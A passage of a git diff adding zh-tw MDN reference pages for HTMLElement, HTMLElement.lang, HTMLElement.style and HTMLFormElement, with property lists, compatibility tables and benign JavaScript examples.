+ <dd>Returns a <code>double</code> containing the height of an element, relative to the layout.</dd>
+ <dt>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code>, the distance from this element's left border to its <code>offsetParent</code>'s left border.</dd>
+ <dt>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("Element")}} that is the element from which all offset calculations are currently computed.</dd>
+ <dt>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code>, the distance from this element's top border to its <code>offsetParent</code>'s top border.</dd>
+ <dt>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code> containing the width of an element, relative to the layout.</dd>
+ <dt>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("HTMLPropertiesCollection")}}…</dd>
+ <dt>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} that controls <a href="/en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms" title="en/Controlling_spell_checking_in_HTML_forms">spell-checking</a>. It is present on all HTML elements, though it doesn't have an effect on all of them.</dd>
+ <dt>{{domxref("HTMLElement.style")}}</dt>
+ <dd>Is a {{domxref("CSSStyleDeclaration")}}, an object representing the declarations of an element's style attributes.</dd>
+ <dt>{{domxref("HTMLElement.tabIndex")}}</dt>
+ <dd>Is a <code>long</code> representing the position of the element in the tabbing order.</dd>
+ <dt>{{domxref("HTMLElement.title")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the text that appears in a popup box when mouse is over the element.</dd>
+ <dt>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} representing the translation.</dd>
+</dl>
+
+<h3 id="事件處理器">事件處理器</h3>
+
+<p>Most events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("GlobalEventHandlers")}} or {{domxref("TouchEventHandlers")}}, implemented by <code>HTMLElement</code>. A few more are specific to <code>HTMLElement</code>.</p>
+
+<dl>
+ <dt>{{ domxref("HTMLElement.oncopy") }}  {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>copy</code> event ({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.oncut") }}  {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>cut</code> event ({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>paste</code> event ({{bug("280959")}}).</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchstart")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchend")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchmove")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchenter")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchleave")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchcancel")}} event.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Element")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.blur()")}}</dt>
+ <dd>Removes keyboard focus from the currently focused element.</dd>
+ <dt>{{domxref("HTMLElement.click()")}}</dt>
+ <dd>Sends a mouse click event to the element.</dd>
+ <dt>{{domxref("HTMLElement.focus()")}}</dt>
+ <dd>Makes the element the current keyboard focus.</dd>
+ <dt>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</dt>
+ <dd>Runs the spell checker on the element's contents.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the following properties: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, and <code>offsetHeight</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Added the following properties: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, and <code>itemValue</code>.<br>
+    Added the following method: <code>forceSpellcheck()</code>.<br>
+    Moved the <code>onXYZ</code> attributes to the {{domxref("GlobalEventHandlers")}} interface and added an inheritance from it.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Added the following properties: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, and all the <code>onXYZ</code> properties.<br>
+    Moved the <code>id</code> and <code>className</code> properties to the {{domxref("Element")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName('DOM2 HTML')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>17.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>6.0</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+   <td>{{CompatGeckoDesktop("8.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}{{WebkitBug(72715)}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatUnknown}}</td>
+   <td>6.0</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.contentEditable", "contentEditable")}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5.5</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.spellcheck", "spellcheck")}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.style", "style")}}</td>
+   <td>{{CompatVersionUnknown}} (returns a {{domxref("CSS2Properties")}}, rather than a {{domxref("CSSStyleDeclaration")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.draggable", "draggable")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dropzone", "dropzone")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, {{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.60<br>
+    (Removed in Opera 15)</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatGeckoMobile("1.0")}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td>
+   <td>{{CompatGeckoMobile("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlelement/lang/index.html b/files/zh-tw/web/api/htmlelement/lang/index.html
new file mode 100644
index 0000000000..ff546e3ca9
--- /dev/null
+++ b/files/zh-tw/web/api/htmlelement/lang/index.html
@@ -0,0 +1,59 @@
+---
+title: HTMLElement.lang
+slug: Web/API/HTMLElement/lang
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - NeedsBrowserCompatibility
+  - NeedsUpdate
+  - Property
+  - Reference
+translation_of: Web/API/HTMLElement/lang
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><code><strong>HTMLElement.lang</strong></code> 屬性（{{Glossary("property")}}）可以讀取或設定一個表示元素之語系的標籤屬性（{{Glossary("attribute")}}）值。</p>
+
+<p><code>HTMLElement.lang</code> 屬性所回傳的語系代碼定義於網際網路工程任務小組（IETF）的 <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt"><em>Tags for Identifying Languages (BCP47)</em></a> 文件中。常見的例子如 "en" 代表英語、"ja" 代表日語、"es" 代表西班牙語等等。此標籤屬性的預設值為 <code>unknown</code>。請留意，雖然此標籤屬性於個別層級的元素上是有效的，但大部分都設定於文件的根元素。</p>
+
+<p><code>HTMLElement.lang</code> 屬性只對 <code>lang</code> 標籤屬性有作用，而不是 <code>xml:lang</code>。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">var <var>languageUsed</var> = elementNodeReference.lang; // Get the value of lang
+elementNodeReference.lang = <var>NewLanguage</var>; // Set new value for lang
+</pre>
+
+<p><var>languageUsed</var> is a string variable that gets the language in which the text of the current element is written. <var>NewLanguage</var> is a string variable with its value setting the language in which the text of the current element is written.</p>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush: js">// this snippet compares the base language and
+// redirects to another url based on language
+if (document.documentElement.lang === "en") {
+  window.location.href = "Some_document.html.en";
+} else if (document.documentElement.lang === "ru") {
+  window.location.href = "Some_document.html.ru";
+}</pre>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-59132807', 'lang')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/zh-tw/web/api/htmlelement/style/index.html b/files/zh-tw/web/api/htmlelement/style/index.html
new file mode 100644
index 0000000000..e9e6d1171a
--- /dev/null
+++ b/files/zh-tw/web/api/htmlelement/style/index.html
@@ -0,0 +1,79 @@
+---
+title: HTMLElement.style
+slug: Web/API/HTMLElement/style
+translation_of: Web/API/ElementCSSInlineStyle/style
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>The <code><strong>HTMLElement.style</strong></code> property is used to get as well as set the <strong>inline </strong>style of an element. While getting, it returns a <a href="/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> object that contains a list of all styles properties for that element with values assigned for the attributes that are defined in the element's <strong>inline</strong> <a href="/en-US/docs/Web/HTML/Global_attributes#style"><code>style</code> attribute</a>. See the <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a> for a list of the CSS properties accessible via <code>style</code>.The <code>style</code> property has the same (and highest) priority in the CSS cascade as an inline style declaration set via the <code>style</code> attribute.</p>
+
+<h3 id="設定_styles">設定 <code>styles</code></h3>
+
+<p>Styles can be set by assigning a string directly to the <code>style</code> property (as in<code> elt.style = "color: blue;") </code>or by assigning values to the properties of <code>style</code><code>. </code>For adding specific styles to an element without altering other style values, it is preferred to use the individual properties of <code>style</code> (as in<code> elt.style.color = '...' </code>) as using<code> elt.style.cssText = '...' or elt.setAttribute('style', '...')</code> sets the complete inline style for the element by overriding the existing inline styles. Note that the property names are in camel-case and not kebab-case while setting the style using <code>elt.style.&lt;property&gt; (</code>i.e.<code> elt.style.fontSize, </code>not<code> elt.style.font-size)</code></p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush:js"><code>// Set multiple styles in a single statement
+elt.style.cssText = "color: blue; border: 1px solid black";
+// OR
+elt.setAttribute("style", "color:red; border: 1px solid blue;");</code>
+
+
+elt.style.color = "blue";  // Set specific style while leaving other inline style values untouched
+</pre>
+
+<h3 id="取得樣式資訊">取得樣式資訊</h3>
+
+<p>The <code>style</code> property is not useful for completely learning about the styles applied on the element, since it represents only the CSS declarations set in the element's inline <code>style</code> attribute, not those that come from style rules elsewhere, such as style rules in the {{HTMLElement("head")}} section, or external style sheets. To get the values of all CSS properties for an element you should use {{domxref("window.getComputedStyle()")}} instead.</p>
+
+<p>The following code snippet demonstrates the difference between the values obtained using the element's <code>style </code>property and that obtained using the <code>computedStyle()</code> method:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE HTML&gt;
+&lt;html&gt;
+ &lt;body style="font-weight:bold;"&gt;
+
+    &lt;div style="color:red" id="myElement"&gt;..&lt;/div&gt;
+
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre class="brush:js">var element = document.getElementById("myElement");
+var out = "";
+var elementStyle = element.style;
+var computedStyle = window.getComputedStyle(element, null);
+
+for (prop in elementStyle) {
+  if (elementStyle.hasOwnProperty(prop)) {
+    out += "  " + prop + " = '" + elementStyle[prop] + "' &gt; '" + computedStyle[prop] + "'\n";
+  }
+}
+console.log(out)
+</pre>
+
+<p>The output would be something like:</p>
+
+<pre>...
+fontWeight = '' &gt; 'bold'
+color = 'red' &gt; 'rgb(255, 0, 0)'
+...</pre>
+
+<p>Note the presence of the value "bold" for font-weight in the computed style and the absence of it in the element's style property</p>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div class="note">
+<p><strong>Note:</strong> Starting in {{Gecko("2.0")}}, you can set SVG properties' values using the same shorthand syntax. For example:</p>
+
+<pre><code>element.style.fill = 'lime';</code></pre>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Using_dynamic_styling_information" title="DOM/Using dynamic styling information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlformelement/index.html b/files/zh-tw/web/api/htmlformelement/index.html
new file mode 100644
index 0000000000..614eebbad2
--- /dev/null
+++ b/files/zh-tw/web/api/htmlformelement/index.html
@@ -0,0 +1,245 @@
+---
+title: HTMLFormElement
+slug: Web/API/HTMLFormElement
+translation_of: Web/API/HTMLFormElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLFormElement</code></strong> 介面提供了建立及修改 {{HTMLElement("form")}} 元素的方法。<br>
+ <strong>document.forms</strong> - returns an array of HTMLFormElement objects referencing all forms on the page.<br>
+ <strong>document.forms[index] </strong>- returns an HTMLFormElement object referencing the form at the specified index.<br>
+ <strong>document.forms['id'] </strong>- returns an HTMLFormElement object referencing the form with the specified id.<br>
+ <strong>document.forms['name'] </strong>- returns an HTMLFormElement object referencing the form with the specified name.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>This interface also inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.elements")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("HTMLFormControlsCollection")}} holding all form controls belonging to this form element.</dd>
+ <dt>{{domxref("HTMLFormElement.length")}}{{ReadOnlyInline}}</dt>
+ <dd>A <code>long</code> reflecting the number of controls in the form.</dd>
+ <dt>{{domxref("HTMLFormElement.name")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("name", "form") }} HTML attribute, containing the name of the form.</dd>
+ <dt>{{domxref("HTMLFormElement.method")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("method", "form") }} HTML attribute, indicating the HTTP method used to submit the form. Only specified values can be set.</dd>
+ <dt>{{domxref("HTMLFormElement.target")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("target", "form") }} HTML attribute, indicating where to display the results received from submitting the form.</dd>
+ <dt>{{domxref("HTMLFormElement.action")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("action", "form") }} HTML attribute, containing the URI of a program that processes the information submitted by the form.</dd>
+ <dt>{{domxref("HTMLFormElement.encoding")}} or {{domxref("HTMLFormElement.enctype")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("enctype", "form") }} HTML attribute, indicating the type of content that is used to transmit the form to the server. Only specified values can be set. The two methods are synonyms.</dd>
+ <dt>{{domxref("HTMLFormElement.acceptCharset")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("accept-charset", "form") }} HTML attribute, representing the character encoding that the server accepts.</dd>
+ <dt>{{domxref("HTMLFormElement.autocomplete")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("autocomplete", "form") }} HTML attribute, indicating whether the controls in this form can have their values automatically populated by the browser.</dd>
+ <dt>{{domxref("HTMLFormElement.noValidate")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the value of the form's {{ htmlattrxref("novalidate", "form") }} HTML attribute, indicating whether the form should not be validated.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>This interface also inherits methods from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.submit()")}}</dt>
+ <dd>Submits the form to the server.</dd>
+ <dt>{{domxref("HTMLFormElement.reset()")}}</dt>
+ <dd>Resets the form to its initial state.</dd>
+ <dt>{{domxref("HTMLFormElement.checkValidity()")}}</dt>
+ <dd>Returns <code>true</code> if the element's child controls are subject to constraint validation and satisfy those contraints; returns <code>false</code> if some controls do not satisfy their constraints. Fires an event named {{event("invalid")}} at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled. It is up to the programmer to decide how to respond to <code>false</code>.</dd>
+ <dt>{{domxref("HTMLFormElement.reportValidity()")}}</dt>
+ <dd>Returns <code>true</code> if the element's child controls satisfy their validation constraints. When <code>false</code> is returned, cancelable {{Event("invalid")}} events are fired for each invalid child and validation problems are reported to the user.</dd>
+ <dt>{{domxref("HTMLFormElement.requestAutocomplete()")}}</dt>
+ <dd>Triggers a native browser interface to assist the user in completing the fields which have an <a href="https://html.spec.whatwg.org/#autofill-field-name">autofill field name</a> value that is not <code>off</code> or <code>on</code>. The form will receive an event once the user has finished with the interface, the event will either be {{event("autocomplete")}} when the fields have been filled or {{event("autocompleteerror")}} when there was a problem.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>Create a new form element, modify its attributes and submit it:</p>
+
+<pre class="brush: js">var f = document.createElement("form");// Create a form
+document.body.appendChild(f);          // Add it to the document body
+f.action = "/cgi-bin/some.cgi";        // Add action and method attributes
+f.method = "POST"
+f.submit();                            // Call the form's submit method
+</pre>
+
+<p>Extract information from a form element and set some of its attributes:</p>
+
+<pre class="brush: html">&lt;form name="formA" id="formA" action="/cgi-bin/test" method="POST"&gt;
+ &lt;p&gt;Click "Info" for form details; "Set" to change settings.&lt;/p&gt;
+ &lt;p&gt;
+  &lt;input type="button" value="info" onclick="getFormInfo();"&gt;
